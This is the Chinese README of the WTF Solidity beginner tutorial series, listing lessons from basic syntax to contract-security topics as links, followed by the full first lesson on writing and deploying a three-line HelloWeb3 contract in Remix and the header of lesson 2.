![](./img/logo2.jpeg)

**[English Version](https://github.com/AmazingAng/WTF-Solidity/tree/main/Languages/en/README.md)**

# WTF Solidity
我最近在重新学solidity，巩固一下细节，也写一个“WTF Solidity极简入门”，供小白们使用（编程大佬可以另找教程），每周更新1-3讲。

路线图根据本仓库star数量来定：
- [x] 64 :star: 建立社群：[discord](https://discord.gg/5akcruXrsk) | [微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform)

- [ ] 128 :star: 录教学视频

- [x] 256 :star: 出进阶内容

- [x] 512 :star: 发布官网: [wtf.academy](https://wtf.academy)

- [x] 1024 :star: 发课程认证`SBT`: [Learning Center](https://wtf.academy/learning-center)

- [ ] 2048 :star: 发社群NFT

## 入门

**第1讲：三行代码HelloWeb3**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/01_HelloWeb3) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/01_HelloWeb3/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/WfM30QbSWB2_-9t98g05unTmb_2ZXucOAZMPDa7MX48)

**第2讲：数值类型**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/02_ValueTypes) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/02_ValueTypes/readme.md) |

[Mirror](https://mirror.xyz/ninjak.eth/XHZVpWe8_sHBHgg6kkrNH2nAWYmQgoB7fKW8hoXnoyI)

**第3讲：函数 (external/internal/public/private, pure/view, payable)**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/03_Function) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/03_Function/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/FWI887JBea4VpNiMlJ2ICyJ5aWUREReGo9Bz0X8iEVc)

**第4讲：函数输出（returns/return）**：[代码](https://github.com/AmazingAng/WTFSolidity/tree/main/04_Return) | [文章](https://github.com/AmazingAng/WTFSolidity/tree/main/04_Return/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/FIGf9tF7wiBlLnQGXfEjVkJ0efzKBNltJS1fRxPKYTk)

**第5讲：变量作用域和数据存储 (storage/memory/calldata)**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/05_DataStorage) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/05_DataStorage/readme.md) |

[Mirror](https://mirror.xyz/ninjak.eth/w5zJWGwElN2ei4tgtuJbTTpKwrGhb-igPY7wTVKRCgY)

**第6讲：数组（array）和结构体（struct）**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/06_ArrayAndStruct) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/06_ArrayAndStruct/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/zNxhHPjK8kjx_bSaauDUcEr9rX3hroalEzvYDatshvw)

**第7讲：映射（mapping）**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/07_Mapping) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/07_Mapping/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/iHYV1C-KUBn8JoJRirhgMmcSNgmpaL4cv4trdOoZJB0)

**第8讲：变量初始值**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/08_InitialValue) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/08_InitialValue/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/WoWQ8s66meku9zPFsHGsXs4m7T6PauZPmfSak76qDkI)

**第9讲：常量（constant/immutable）**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/09_Constant) |

[文章](https://github.com/AmazingAng/WTFSolidity/blob/main/09_Constant/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/p9xMZTxCBLSKBqqP2dlyxHceev1V7Blmo5Wf-OY3R48)

**第10讲：控制流和插入排序**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/10_InsertionSort) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/10_InsertionSort/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/8Q0vr-dyHfiIXS9KnivaQDxpM9cIQTNWoC68TNvCZ9c)

**第11讲：构造函数（constructor）和修饰器（modifier）**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/11_Modifier) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/11_Modifier/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/X8HHTaD8hqkfshhugHHp7ho3EaLjuviya_g1l3MsF_U)

**第12讲：事件（events）**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/12_Event) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/12_Event/readme.md) |

[Mirror](https://mirror.xyz/ninjak.eth/nGSCuFbPHMo8mL1ErZMUwOZG_OUECzIWEsGhX0a5eOw)

**第13讲：继承**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/13_Inheritance) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/13_Inheritance/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/HTCOqhsxTXs42NNv3wfzNRQMN6qGHGYY9iaTJhhKBb4)

**第14讲：抽象合约（abstract）和接口（interface）**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/14_Interface) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/14_Interface/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/KKnoJJfHG69Pg3GQda_B454z_nJ1tesyBd4uOvh1WNM)

**第15讲：异常（errors）**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/15_Errors) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/15_Errors/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/XhhLu7PV1cAhOp9_m-dk9OoTj7offC7DkYYgsV3e31I)

## 进阶

**第16讲：函数重载**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/16_Overloading) |

[文章](https://github.com/AmazingAng/WTFSolidity/blob/main/16_Overloading/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/ADt6g13gwqt42-9_nBxMunSkVHeft6-yb1mp0XH-4f8)

**第17讲：库合约（library）**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/17_Library) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/17_Library/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/5nhKjOI40nCT0nCk6iO2TXry3xi09F1Ts4e5lMBlZ1w)

**第18讲：Import**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/18_Import) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/18_Import/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/f43II54h19ucfkNDarEdDFGts0lBkJCyrZ57U5Njk3A)

**第19讲：接收ETH（fallback/receive）**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/19_Fallback) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/19_Fallback/readme.md) |

[Mirror](https://mirror.xyz/ninjak.eth/EroVZqHW1lfJFai3umiu4tb9r1ZbDVPOYC-puaZklAw)

**第20讲：发送ETH（transfer/send/call）**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/20_SendETH) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/20_SendETH/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/NTNHraVAn2OWUKXpr0byphlxl8ytj7fRUAaOaLYfEtA)

**第21讲：调用其他合约**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/21_CallContract) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/21_CallContract/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/fI48BkuT7wWzRaVKkn1VWxnfLpkUEvIZIJcO5iOIzbk)

**第22讲：Call**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/22_Call) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/22_Call/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/vMJ0AHl3b_A5Lyey5lLdFhzkGT9wJ-D6vJpZpH0vlls)

**第23讲：Delegatecall**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/23_Delegatecall) |

[文章](https://github.com/AmazingAng/WTFSolidity/blob/main/23_Delegatecall/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/hW9iLCOUUqsRCCZbzGS3x5m0wXfJBhlYQWLq93rplcU)

**第24讲：在合约中创建新合约**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/24_Create) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/24_Create/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/kojopp2CgDK3ehHxXc_2fkZe87uM0O5OmsEU6y83eJs)

**第25讲：Create2**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/25_Create2) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/25_Create2/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/Dz7kd6-RrcNvdHnptWKzsW9AcIOSA8PoVsMsQh8nlEM)

**第26讲：删除合约**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/26_DeleteContract) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/26_DeleteContract/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/080JeNq8X_HfciftWa-ed0S6Wb5YFuIb5GPVISu1gIc)

**第27讲：ABI编码解码**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/27_ABIEncode) |

[文章](https://github.com/AmazingAng/WTFSolidity/blob/main/27_ABIEncode/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/jXJnvwkoQzvJaqVIxagxneSZim6Qxm-StuNNxLuKuw8)

**第28讲：Hash**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/28_Hash) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/28_Hash/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/csiRSVEpEwj7f0OOtSpm1KdGHRqD4fNogmiahHx60nE)

**第29讲：函数选择器（selector）**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/29_Selector) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/29_Selector/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/_Q-N_VGUV8F4QZbggR8Swv16LStBdfkeQb8qwSfoNTw)

**第30讲：Try-Catch**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/30_TryCatch) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/30_TryCatch/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/asj1-eKf6YdIoI9oMSLI3VECwqCzRHwaqIS01ALQ7qo)

## 应用

**第31讲：ERC20**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/31_ERC20) |

[文章](https://github.com/AmazingAng/WTFSolidity/blob/main/31_ERC20/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/-LNwtaA4Eb0e1GZEsaZEXs09Nm9l57HVvoeRUfxVZNg)

**第32讲：代币水龙头**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/32_Faucet) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/32_Faucet/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/tr1pm32UYMO96gOsgQsU5beAAcD3rkHtaBYg9MBzCz0)

**第33讲：空投**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/33_Airdrop) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/33_Airdrop/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/pRoRGe7V4djkWX-_ZkkrdzKE8RSO5ivoDktCacE-4R8)

**第34讲：ERC721**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/34_ERC721) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/34_ERC721/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/7BbjaN4Zz1ycAlfvKARlijMusL0RV3SOAltSx0nJed4)

**第35讲：荷兰拍卖**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/35_DutchAuction) |

[文章](https://github.com/AmazingAng/WTFSolidity/blob/main/35_DutchAuction/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/6v7-GIVSQIG5mNUIMP8VhXt6AS1Iq24kMt2DOh196Fc)

**第36讲：Merkle Tree**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/36_MerkleTree) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/36_MerkleTree/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/kPBE6QzZeplo72UvGeJOcCEpZZMu9qVMmEu4KDZHzsM)

**第37讲：数字签名**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/37_Signature) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/37_Signature/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/pVjNv3xzVoOB1AtsXNsZ01b6FZy-iVbdNZsv0qVQ7Qo)

**第38讲：NFT交易所**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/38_NFTSwap) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/38_NFTSwap/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/lHIwfCzjKYUN_1V7PQCo1FPY-t_WzbV6i7cQjge1ANc)

**第39讲：随机数**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/39_Random) |

[文章](https://github.com/AmazingAng/WTFSolidity/blob/main/39_Random/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/JYXCXDLhHp8wxXPfClQKqW_5g1QhgVp44HFk9WtC6tk)

**第40讲：ERC1155**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/40_ERC1155) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/40_ERC1155/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/dGmLVDYjGXCKR5kPvQspMj6f0qYnJbCUshy9hlzld0c)

**第41讲：WETH**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/41_WETH) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/41_WETH/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/2Ma5ZRoAy54_aJXZw52xkItKykmQPpqsdFjVqEqB89k)

**第42讲：分账**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/42_PaymentSplit) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/42_PaymentSplit/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/j373uOA3btcD9xRWT_qaww4CSR-iaoqU6EClv1nXWsM)

**第43讲：线性释放**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/43_TokenVesting) |

[文章](https://github.com/AmazingAng/WTFSolidity/blob/main/43_TokenVesting/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/j-so8JO_lcYye4N9S03v_VIljQ9rg8nGbmZrSbzak8A)

**第44讲：代币锁**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/44_TokenLocker) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/44_TokenLocker/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/WJCju6bbg-r1Cf97f1abYdNUiO4ArthIAGqs1zZZHi0)

**第45讲：时间锁**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/45_Timelock) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/45_Timelock/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/o8nvAnljLf7l4AGNRSdec17Knp3PsKTWyTXVSx1olM4)

**第46讲：代理合约**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/46_ProxyContract) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/46_ProxyContract/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/v4ov2J0xjtMnVflsLpbbh7S55fiyPljttbDh3Xhiqis)

**第47讲：可升级合约**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/47_Upgrade) |

[文章](https://github.com/AmazingAng/WTFSolidity/blob/main/47_Upgrade/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/p1WBSV9yQ5Zfcui8kaWEoVq71rirv7-I4VqLFAhz4J0)

**第48讲：透明代理**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/48_TransparentProxy) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/48_TransparentProxy/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/DmqC4Nyfyo2-pF5x5w9SFYqBr2DHo43AH6IfnePXcH8)

**第49讲：通用可升级代理UUPS**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/49_UUPS) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/49_UUPS/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/KPwXlRDdL2XfBWi7Z9uk8eccbWKG3hffC-RjTgiTLi8)

**第50讲：多签钱包**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/50_MultisigWallet) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/50_MultisigWallet/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/DeediQG7FbXhCK68f2iPUoQkpN-gLdiuKhDV99gHpgg)

##

合约安全

**S01：重入攻击**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/S01_ReentrancyAttack) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/S01_ReentrancyAttack/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/SrNu6LLzwH7qlTVKbJY6lkTpmadGqUXw0L8iUMzfMxo)

**S02：选择器碰撞**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/S02_SelectorClash) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/S02_SelectorClash/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/5rwcsBZzphdlKZj4MoIpn8aqwQ1MzQ8qy50ZEGNU_HU)

**S03：中心化**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/S03_Centralization) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/S03_Centralization/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/0MlTKdaSGD9-A9WIbgbtrDlAazg-8DLpTJv7l8vsq3c)

**S04：权限管理**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/S04_AccessControlExploit) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/S04_AccessControlExploit/readme.md) |

[Mirror](https://mirror.xyz/ninjak.eth/lWnJZJYygZtqe0GFwH6bJg80t2NaSCfdRXCh0EDHxqs)

**S05：整型溢出**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/S05_Overflow) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/S05_Overflow/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/FCRPHFa5JkCuRVSIrQQubuDPwrAfZctZnjWTaqZpcRU)

**S06：签名重放**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/S06_SignatureReplay) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/S06_SignatureReplay/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/hHQO1EGe0vapiejyIrP8bcuPm50Djlse2MareeHLDwE)

**S07：坏随机数**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/S07_BadRandomness) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/S07_BadRandomness/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/5NQbE-url7o8OV5UtpTPEkMEVwTZqdDIRYDMiG1bECw)

**S08：绕过合约检查**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/S08_ContractCheck) |

[文章](https://github.com/AmazingAng/WTFSolidity/blob/main/S08_ContractCheck/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/EbA6ZmPleFPtMgdVqRf65Ib8Hab_gIgt5Q3c0INy9mg)

**S09：拒绝服务漏洞**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/S09_DoS) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/S09_DoS/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/tiae-8Z9YQurL4RzCbcGgBonIGqIDp_KR0uKVy5101U)

**S10：貔貅 Honeypot**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/S10_Honeypot) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/S10_Honeypot/readme.md) | [Mirror](https://mirror.xyz/ninjak.eth/tJmYTJbHlYX0Ah0k6m9gd4NpbKpBxsoU8fstLz3PqJY)

**S11：抢先交易**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/S11_Frontrun) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/S11_Frontrun/readme.md)

**S12：tx.origin钓鱼**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/S12_TxOrigin) |

[文章](https://github.com/AmazingAng/WTFSolidity/blob/main/S12_TxOrigin/readme.md)

**S13：未检查的低级调用**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/S13_UncheckedCall) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/S13_UncheckedCall/readme.md)

**S14：操纵区块时间**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/S14_TimeManipulation) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/S14_TimeManipulation/readme.md)

**S15：操纵预言机**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/S15_OracleManipulation) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/S15_OracleManipulation/readme.md)

**S16：NFT重入攻击**：[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/S16_NFTReentrancy) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/S16_NFTReentrancy/readme.md)

## 主题
### `工具`
**第1讲：Remix, 最易用的Solidity IDE** 【[代码](https://github.com/AmazingAng/WTFSolidity/tree/main/Topics/Tools/TOOL01_Remix)】

【[文章](https://mirror.xyz/ninjak.eth/dSYXG9zF_Vclw58Bgcvsv6HSA0SU6pmBoYLFwLAgVbU)】

**第2讲：Infura, 连接链下与链上的桥梁** 【[文章](https://github.com/AmazingAng/WTFSolidity/tree/main/Topics/Tools/TOOL02_Infura/readme.md)】

**第3讲：Ganache，搭建本地测试网络** 【[文章](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/Tools/TOOL03_Ganache/readme.md)】

**第4讲：Alchemy, 区块链API和节点基础设施** 【[文章](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/Tools/TOOL04_Alchemy/readme.md)】

**第5讲：Dune，使用Dune可视化区块链数据** 【[文章](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/Tools/TOOL05_Dune/readme.md)】

**第6讲：Hardhat，以太坊开发环境** 【[文章](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/Tools/TOOL06_Hardhat/readme.md)】

**第7讲：Foundry，以Solidity为中心的开发工具包** 【[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/Tools/TOOL07_Foundry)】【[文章](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/Tools/TOOL07_Foundry/readme.md)】

### `链上威胁分析`

**第1讲：工具篇**

【[文章](https://github.com/AmazingAng/WTF-Solidity/tree/main/Topics/Onchain_debug//01_tools/)】 | 【[English](https://github.com/AmazingAng/WTF-Solidity/tree/main/Topics/Onchain_debug/01_tools/en/)】

**第2讲：热身篇** 【[文章](https://github.com/AmazingAng/WTF-Solidity/tree/main/Topics/Onchain_debug/02_warmup/)】 | 【[English](https://github.com/AmazingAng/WTF-Solidity/tree/main/Topics/Onchain_debug/02_warmup/en/)】

**第3讲：漏洞概念验证-上篇** 【[文章](https://github.com/AmazingAng/WTF-Solidity/tree/main/Topics/Onchain_debug/03_write_your_own_poc/)】| 【[English](https://github.com/AmazingAng/WTF-Solidity/tree/main/Topics/Onchain_debug/03_write_your_own_poc/en/)】

**第4讲：漏洞概念验证-中篇** 【[文章](https://github.com/AmazingAng/WTF-Solidity/tree/main/Topics/Onchain_debug/04_write_your_own_poc/)】| 【[English](https://github.com/AmazingAng/WTF-Solidity/tree/main/Topics/Onchain_debug/04_write_your_own_poc/en/)】  

**第5讲：漏洞概念验证-下篇** 【[文章](https://github.com/AmazingAng/WTF-Solidity/tree/main/Topics/Onchain_debug/06_write_your_own_poc/readme.md)】| 【[English]()】  

###

`NFT`
**第1讲：ERC721库：Address, Strings, Context** 【[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/ERC721)】 【[文章](https://mirror.xyz/ninjak.eth/PAsIFLAmEoMufZsXlX0NWsVF8DHpHz3OrYlooosy9Ho)】

**第2讲：ERC721相关接口** 【[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/ERC721)】 【[文章](https://mirror.xyz/ninjak.eth/4mPkMgHViRjx8OM7TAI-M-2oMfRle36ULzqlpC6S7IQ)】

**第3讲：ERC721主合约** 【[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/ERC721/ERC721.sol)】 【[文章](https://mirror.xyz/ninjak.eth/-evZa3S--yw9vVcXfhn9I3UiNRaqWOTLG0eZFFgbcT0)】

**第4讲：BAYC主合约和严重漏洞**【[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/ERC721/BAYC.sol)】 【[文章](https://mirror.xyz/ninjak.eth/_buBOQflWtHDpLbg18Fp8zLe8AmLiPka2y-UhppK_u0)】

**第5讲：Loot**【[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/ERC721/5_Loot/Loot.sol)】 【[文章](https://mirror.xyz/ninjak.eth/-Bc_vjP9EX-wg6chtUFAz0zm5v-jaIekMlOlqHJ_IhE)】

###

`翻译`

**第1讲：Metamask项目方给Solidity程序员的16个安全建议**【[文章](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/Translation/Consensys2020)】 【[Mirror](https://mirror.xyz/ninjak.eth/ygaDE0QQwn3lfI-AVaw0ZMqHQtWCdzo-XV450j2camc)】

**第2讲：深入EVM**【[文章](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/Translation/DiveEVM2017)】

## WTF贡献者
<div align="center">
  <h4 align="center">
    贡献者是WTF学院的基石
  </h4>
  <a href="https://github.com/AmazingAng/WTFSolidity/graphs/contributors">
    <img src="https://contrib.rocks/image?repo=AmazingAng/WTFSolidity" />
  </a>
</div>

## 捐赠

- [Gitcoin](https://gitcoin.co/grants/6090/wtf-solidity)
- [Mirror](https://mirror.xyz/ninjak.eth/collection)

---
title: 1. HelloWeb3 (三行代码)
tags:
  - solidity
  - basic
  - wtfacademy
---

# WTF Solidity极简入门: 1. HelloWeb3 (三行代码)

推特：[@0xAA_Science](https://twitter.com/0xAA_Science)

社区：[Discord](https://discord.wtf.academy)｜[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)｜[官网 wtf.academy](https://wtf.academy)

所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity)

-----

## Solidity简述
`Solidity`是以太坊虚拟机（`EVM`）智能合约的语言。同时，我认为`solidity`是玩链上项目必备的技能：区块链项目大部分是开源的，如果你能读懂代码，就可以规避很多亏钱项目。

`Solidity`具有两个特点：

1. 基于对象：学会之后，能帮你挣钱找对象。
2. 高级：不会`solidity`，在币圈显得很low。

## 开发工具：remix
本教程中，我会用`remix`来跑`solidity`合约。`remix`是以太坊官方推荐的智能合约开发IDE（集成开发环境），适合新手，可以在浏览器中快速部署测试智能合约，你不需要在本地安装任何程序。

网址：[remix.ethereum.org](https://remix.ethereum.org)

进入`remix`，我们可以看到最左边的菜单有三个按钮，分别对应文件（写代码的地方），编译（跑代码），部署（部署到链上）。我们点新建（`Create New

File`）按钮，就可以创建一个空白的`solidity`合约。

![remix面板](./img/1-1.png)

## 第一个Solidity程序
很简单，只有1行注释+3行代码：
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
contract HelloWeb3{
    string public _string = "Hello Web3!";
}
```
我们拆开分析，学习solidity代码源文件的结构：
1. 第1行是注释，会写一下这个代码所用的软件许可（license），这里用的是MIT license。如果不写许可，编译时会警告（warning），但程序可以运行。solidity的注释由“//”开头，后面跟注释的内容（不会被程序运行）。
```
2. 第2行声明源文件所用的solidity版本，因为不同版本语法有差别。这行代码意思是源文件将不允许小于 0.8.4 版本或大于等于 0.9.0 的编译器编译（第二个条件由`^`提供）。Solidity 语句以分号（;）结尾。
```
    
3. 第3-4行是合约部分，第3行创建合约（contract），并声明合约的名字 HelloWeb3。第4行是合约的内容，我们声明了一个string（字符串）变量_string，并给他赋值 “Hello Web3!”。
}
```
以后我们会更细的介绍solidity中的变量。

## 编译并部署代码
在编辑代码的页面，按ctrl+S就可以编译代码，非常方便。

编译好之后，点击左侧菜单的“部署”按钮，进入部署页面。

![](./img/1-2.png)

在默认情况下，remix会用JS虚拟机来模拟以太坊链，运行智能合约，类似在浏览器里跑一条测试链。并且remix会分配几个测试账户给你，每个里面有100

ETH（测试代币），可劲儿用。你点Deploy（黄色按钮），就可以部署咱们写好的合约了。

![](./img/1-3.png)

部署成功后，你会在下面看到名为`HelloWeb3`的合约，点击`_string`，就能看到我们代码中写的 “Hello Web3!” 了。

## 总结
这一讲，我们简单介绍了`solidity`，`remix`工具，并完成了第一个`solidity`程序--`HelloWeb3`。下面我们将继续`solidity`旅程！

### 中文solidity资料推荐：
1. [Solidity中文文档](https://solidity-cn.readthedocs.io/zh/develop/introduction-to-smart-contracts.html)（官方文档的中文翻译）

2. [崔棉大师solidity教程](https://space.bilibili.com/286084162) web3技术教学博主，我看他视频学到了很多 

---
title: 2. 数值类型
tags:
  - solidity
  - basic
---

# WTF Solidity极简入门: 2. 数值类型

-----

### Solidity中的变量类型
